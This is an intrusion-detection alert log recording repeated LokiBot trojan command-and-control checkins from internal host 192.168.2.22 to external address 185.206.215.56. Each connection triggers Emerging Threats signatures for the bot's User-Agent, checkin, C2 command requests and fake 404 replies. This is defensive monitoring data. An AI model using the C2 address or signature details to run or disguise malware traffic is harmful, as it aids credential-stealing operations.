01/05/21-19:06:09.669670	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49173	80	192.168.2.22	185.206.215.56
01/05/21-19:06:09.669670	TCP	2025381	ET TROJAN LokiBot Checkin	49173	80	192.168.2.22	185.206.215.56
01/05/21-19:06:09.669670	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49173	80	192.168.2.22	185.206.215.56
01/05/21-19:06:09.843837	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49173	185.206.215.56	192.168.2.22
01/05/21-19:06:10.067266	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49174	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.067266	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49174	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.067266	TCP	2025381	ET TROJAN LokiBot Checkin	49174	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.067266	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49174	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.236854	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49174	185.206.215.56	192.168.2.22
01/05/21-19:06:10.499611	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49175	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.499611	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49175	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.499611	TCP	2025381	ET TROJAN LokiBot Checkin	49175	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.499611	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49175	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.673143	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49175	185.206.215.56	192.168.2.22
01/05/21-19:06:10.888136	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49176	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.888136	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49176	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.888136	TCP	2025381	ET TROJAN LokiBot Checkin	49176	80	192.168.2.22	185.206.215.56
01/05/21-19:06:10.888136	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49176	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.065621	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49176	185.206.215.56	192.168.2.22
01/05/21-19:06:11.296993	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49177	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.296993	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49177	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.296993	TCP	2025381	ET TROJAN LokiBot Checkin	49177	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.296993	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49177	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.461579	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49177	185.206.215.56	192.168.2.22
01/05/21-19:06:11.686950	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49178	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.686950	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49178	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.686950	TCP	2025381	ET TROJAN LokiBot Checkin	49178	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.686950	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49178	80	192.168.2.22	185.206.215.56
01/05/21-19:06:11.871413	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49178	185.206.215.56	192.168.2.22
01/05/21-19:06:12.075634	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49179	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.075634	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49179	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.075634	TCP	2025381	ET TROJAN LokiBot Checkin	49179	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.075634	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49179	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.243051	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49179	185.206.215.56	192.168.2.22
01/05/21-19:06:12.449877	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49180	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.449877	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49180	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.449877	TCP	2025381	ET TROJAN LokiBot Checkin	49180	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.449877	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49180	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.609106	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49180	185.206.215.56	192.168.2.22
01/05/21-19:06:12.832799	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49181	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.832799	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49181	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.832799	TCP	2025381	ET TROJAN LokiBot Checkin	49181	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.832799	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49181	80	192.168.2.22	185.206.215.56
01/05/21-19:06:12.987731	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49181	185.206.215.56	192.168.2.22
01/05/21-19:06:13.213064	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49182	80	192.168.2.22	185.206.215.56
01/05/21-19:06:13.213064	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49182	80	192.168.2.22	185.206.215.56
01/05/21-19:06:13.213064	TCP	2025381	ET TROJAN LokiBot Checkin	49182	80	192.168.2.22	185.206.215.56
01/05/21-19:06:13.213064	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49182	80	192.168.2.22	185.206.215.56
01/05/21-19:06:13.388159	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49182	185.206.215.56	192.168.2.22
01/05/21-19:06:13.606387	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49183	80	192.168.2.22	185.206.215.56
01/05/21-19:06:13.606387	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49183	80	192.168.2.22	185.206.215.56
01/05/21-19:06:13.606387	TCP	2025381	ET TROJAN LokiBot Checkin	49183	80	192.168.2.22	185.206.215.56
01/05/21-19:06:13.606387	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49183	80	192.168.2.22	185.206.215.56
01/05/21-19:06:13.778989	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49183	185.206.215.56	192.168.2.22
01/05/21-19:06:14.002546	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49184	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.002546	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49184	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.002546	TCP	2025381	ET TROJAN LokiBot Checkin	49184	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.002546	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49184	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.168912	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49184	185.206.215.56	192.168.2.22
01/05/21-19:06:14.391399	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49185	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.391399	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49185	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.391399	TCP	2025381	ET TROJAN LokiBot Checkin	49185	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.391399	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49185	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.558086	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49185	185.206.215.56	192.168.2.22
01/05/21-19:06:14.788464	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49186	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.788464	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49186	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.788464	TCP	2025381	ET TROJAN LokiBot Checkin	49186	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.788464	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49186	80	192.168.2.22	185.206.215.56
01/05/21-19:06:14.954180	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49186	185.206.215.56	192.168.2.22
01/05/21-19:06:15.165872	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49187	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.165872	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49187	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.165872	TCP	2025381	ET TROJAN LokiBot Checkin	49187	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.165872	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49187	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.352806	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49187	185.206.215.56	192.168.2.22
01/05/21-19:06:15.552401	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49188	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.552401	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49188	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.552401	TCP	2025381	ET TROJAN LokiBot Checkin	49188	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.552401	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49188	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.734059	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49188	185.206.215.56	192.168.2.22
01/05/21-19:06:15.960354	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49189	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.960354	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49189	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.960354	TCP	2025381	ET TROJAN LokiBot Checkin	49189	80	192.168.2.22	185.206.215.56
01/05/21-19:06:15.960354	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49189	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.139385	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49189	185.206.215.56	192.168.2.22
01/05/21-19:06:16.358508	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49190	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.358508	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49190	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.358508	TCP	2025381	ET TROJAN LokiBot Checkin	49190	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.358508	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49190	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.531882	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49190	185.206.215.56	192.168.2.22
01/05/21-19:06:16.795879	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49191	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.795879	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49191	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.795879	TCP	2025381	ET TROJAN LokiBot Checkin	49191	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.795879	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49191	80	192.168.2.22	185.206.215.56
01/05/21-19:06:16.967213	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49191	185.206.215.56	192.168.2.22
01/05/21-19:06:17.183871	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49192	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.183871	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49192	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.183871	TCP	2025381	ET TROJAN LokiBot Checkin	49192	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.183871	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49192	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.344388	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49192	185.206.215.56	192.168.2.22
01/05/21-19:06:17.566777	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49193	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.566777	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49193	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.566777	TCP	2025381	ET TROJAN LokiBot Checkin	49193	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.566777	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49193	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.726876	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49193	185.206.215.56	192.168.2.22
01/05/21-19:06:17.949146	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49194	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.949146	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49194	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.949146	TCP	2025381	ET TROJAN LokiBot Checkin	49194	80	192.168.2.22	185.206.215.56
01/05/21-19:06:17.949146	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49194	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.134410	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49194	185.206.215.56	192.168.2.22
01/05/21-19:06:18.364453	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49195	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.364453	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49195	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.364453	TCP	2025381	ET TROJAN LokiBot Checkin	49195	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.364453	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49195	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.531194	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49195	185.206.215.56	192.168.2.22
01/05/21-19:06:18.788238	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49196	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.788238	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49196	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.788238	TCP	2025381	ET TROJAN LokiBot Checkin	49196	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.788238	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49196	80	192.168.2.22	185.206.215.56
01/05/21-19:06:18.959883	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49196	185.206.215.56	192.168.2.22
01/05/21-19:06:19.176157	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49197	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.176157	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49197	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.176157	TCP	2025381	ET TROJAN LokiBot Checkin	49197	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.176157	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49197	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.341245	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49197	185.206.215.56	192.168.2.22
01/05/21-19:06:19.576040	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49198	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.576040	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49198	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.576040	TCP	2025381	ET TROJAN LokiBot Checkin	49198	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.576040	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49198	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.751716	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49198	185.206.215.56	192.168.2.22
01/05/21-19:06:19.958724	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49199	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.958724	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49199	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.958724	TCP	2025381	ET TROJAN LokiBot Checkin	49199	80	192.168.2.22	185.206.215.56
01/05/21-19:06:19.958724	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49199	80	192.168.2.22	185.206.215.56
01/05/21-19:06:20.125690	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49199	185.206.215.56	192.168.2.22
01/05/21-19:06:20.390921	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49200	80	192.168.2.22	185.206.215.56
01/05/21-19:06:20.390921	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49200	80	192.168.2.22	185.206.215.56
01/05/21-19:06:20.390921	TCP	2025381	ET TROJAN LokiBot Checkin	49200	80	192.168.2.22	185.206.215.56
01/05/21-19:06:20.390921	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49200	80	192.168.2.22	185.206.215.56
01/05/21-19:06:20.569029	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49200	185.206.215.56	192.168.2.22
01/05/21-19:06:20.950521	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49201	80	192.168.2.22	185.206.215.56
01/05/21-19:06:20.950521	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49201	80	192.168.2.22	185.206.215.56
01/05/21-19:06:20.950521	TCP	2025381	ET TROJAN LokiBot Checkin	49201	80	192.168.2.22	185.206.215.56
01/05/21-19:06:20.950521	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49201	80	192.168.2.22	185.206.215.56
01/05/21-19:06:21.111865	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49201	185.206.215.56	192.168.2.22
01/05/21-19:06:21.679580	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49202	80	192.168.2.22	185.206.215.56
01/05/21-19:06:21.679580	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49202	80	192.168.2.22	185.206.215.56
01/05/21-19:06:21.679580	TCP	2025381	ET TROJAN LokiBot Checkin	49202	80	192.168.2.22	185.206.215.56
01/05/21-19:06:21.679580	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49202	80	192.168.2.22	185.206.215.56
01/05/21-19:06:21.837782	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49202	185.206.215.56	192.168.2.22
01/05/21-19:06:22.303822	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49203	80	192.168.2.22	185.206.215.56
01/05/21-19:06:22.303822	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49203	80	192.168.2.22	185.206.215.56
01/05/21-19:06:22.303822	TCP	2025381	ET TROJAN LokiBot Checkin	49203	80	192.168.2.22	185.206.215.56
01/05/21-19:06:22.303822	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49203	80	192.168.2.22	185.206.215.56
01/05/21-19:06:22.484253	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49203	185.206.215.56	192.168.2.22
01/05/21-19:06:22.694392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49204	80	192.168.2.22	185.206.215.56
01/05/21-19:06:22.694392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49204	80	192.168.2.22	185.206.215.56
01/05/21-19:06:22.694392	TCP	2025381	ET TROJAN LokiBot Checkin	49204	80	192.168.2.22	185.206.215.56
01/05/21-19:06:22.694392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49204	80	192.168.2.22	185.206.215.56
01/05/21-19:06:22.877247	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49204	185.206.215.56	192.168.2.22
01/05/21-19:06:23.094147	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49205	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.094147	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49205	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.094147	TCP	2025381	ET TROJAN LokiBot Checkin	49205	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.094147	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49205	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.267446	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49205	185.206.215.56	192.168.2.22
01/05/21-19:06:23.470458	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49206	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.470458	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49206	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.470458	TCP	2025381	ET TROJAN LokiBot Checkin	49206	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.470458	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49206	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.640827	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49206	185.206.215.56	192.168.2.22
01/05/21-19:06:23.862730	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49207	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.862730	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49207	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.862730	TCP	2025381	ET TROJAN LokiBot Checkin	49207	80	192.168.2.22	185.206.215.56
01/05/21-19:06:23.862730	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49207	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.026554	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49207	185.206.215.56	192.168.2.22
01/05/21-19:06:24.246261	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49208	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.246261	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49208	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.246261	TCP	2025381	ET TROJAN LokiBot Checkin	49208	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.246261	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49208	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.440570	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49208	185.206.215.56	192.168.2.22
01/05/21-19:06:24.648294	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49209	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.648294	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49209	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.648294	TCP	2025381	ET TROJAN LokiBot Checkin	49209	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.648294	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49209	80	192.168.2.22	185.206.215.56
01/05/21-19:06:24.816571	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49209	185.206.215.56	192.168.2.22
01/05/21-19:06:25.024326	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49210	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.024326	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49210	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.024326	TCP	2025381	ET TROJAN LokiBot Checkin	49210	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.024326	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49210	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.203072	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49210	185.206.215.56	192.168.2.22
01/05/21-19:06:25.428992	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49211	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.428992	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49211	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.428992	TCP	2025381	ET TROJAN LokiBot Checkin	49211	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.428992	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49211	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.591475	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49211	185.206.215.56	192.168.2.22
01/05/21-19:06:25.813759	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49212	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.813759	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49212	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.813759	TCP	2025381	ET TROJAN LokiBot Checkin	49212	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.813759	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49212	80	192.168.2.22	185.206.215.56
01/05/21-19:06:25.992160	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49212	185.206.215.56	192.168.2.22
01/05/21-19:06:26.197896	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49213	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.197896	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49213	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.197896	TCP	2025381	ET TROJAN LokiBot Checkin	49213	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.197896	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49213	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.381041	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49213	185.206.215.56	192.168.2.22
01/05/21-19:06:26.599441	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49214	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.599441	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49214	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.599441	TCP	2025381	ET TROJAN LokiBot Checkin	49214	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.599441	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49214	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.766199	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49214	185.206.215.56	192.168.2.22
01/05/21-19:06:26.971788	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49215	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.971788	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49215	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.971788	TCP	2025381	ET TROJAN LokiBot Checkin	49215	80	192.168.2.22	185.206.215.56
01/05/21-19:06:26.971788	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49215	80	192.168.2.22	185.206.215.56
01/05/21-19:06:27.131364	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49215	185.206.215.56	192.168.2.22
01/05/21-19:06:27.359759	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49216	80	192.168.2.22	185.206.215.56
01/05/21-19:06:27.359759	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49216	80	192.168.2.22	185.206.215.56
01/05/21-19:06:27.359759	TCP	2025381	ET TROJAN LokiBot Checkin	49216	80	192.168.2.22	185.206.215.56
01/05/21-19:06:27.359759	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49216	80	192.168.2.22	185.206.215.56
01/05/21-19:06:27.547159	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49216	185.206.215.56	192.168.2.22
01/05/21-19:06:27.753620	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49217	80	192.168.2.22	185.206.215.56
